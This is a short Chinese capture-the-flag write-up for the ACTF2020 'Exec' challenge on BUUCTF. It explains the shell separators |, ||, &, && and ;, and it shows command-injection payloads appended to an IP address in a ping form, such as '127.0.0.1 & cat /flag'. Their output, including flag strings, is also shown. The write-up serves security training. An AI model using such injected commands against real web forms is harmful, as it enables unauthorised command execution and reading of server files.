【BUUCTF】[ACTF2020 新生赛]Exec Writeup

本文介绍了ACTF2020新生赛中Exec0x00挑战的解决方法,利用未过滤的管道符进行命令执行,通过不同的管道操作符如|、||、&、&&、;,成功获取了flag。详细展示了从发现漏洞到获取flag的全过程。

【BUUCTF】[ACTF2020 新生赛]Exec

0x00 知识点

  • 没有过滤,利用常见管道符命令执行
1|(就是按位或),直接执行|后面的语句

2||(就是逻辑或),如果前面命令是错的那么就执行后面的语句,否则只执行前面的语句

3&(就是按位与),&前面和后面命令都要执行,无论前面真假

4&&(就是逻辑与),如果前面为假,后面的命令也不执行,如果前面为真则执行两条命令

5; 前后都执行,无论前面真假,同&,(linux也有)

0x01 解题

127.0.0.1|ls

index.php

  • 从根目录开始找flag,耗时长
127.0.0.1 | find / -name flag

/flag

127.0.0.1 & cat /flag

标记{38aee01b-d1a6-4fcb-93f1-dbf86ef25fd8}
PING 127.0.0.1(127.0.0.1):56个数据字节

|cat /flag
;cat /flag

在这里插入图片描述

标记{f40182a0-6749-43f2-b223-9651bf2ef2d0}

评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值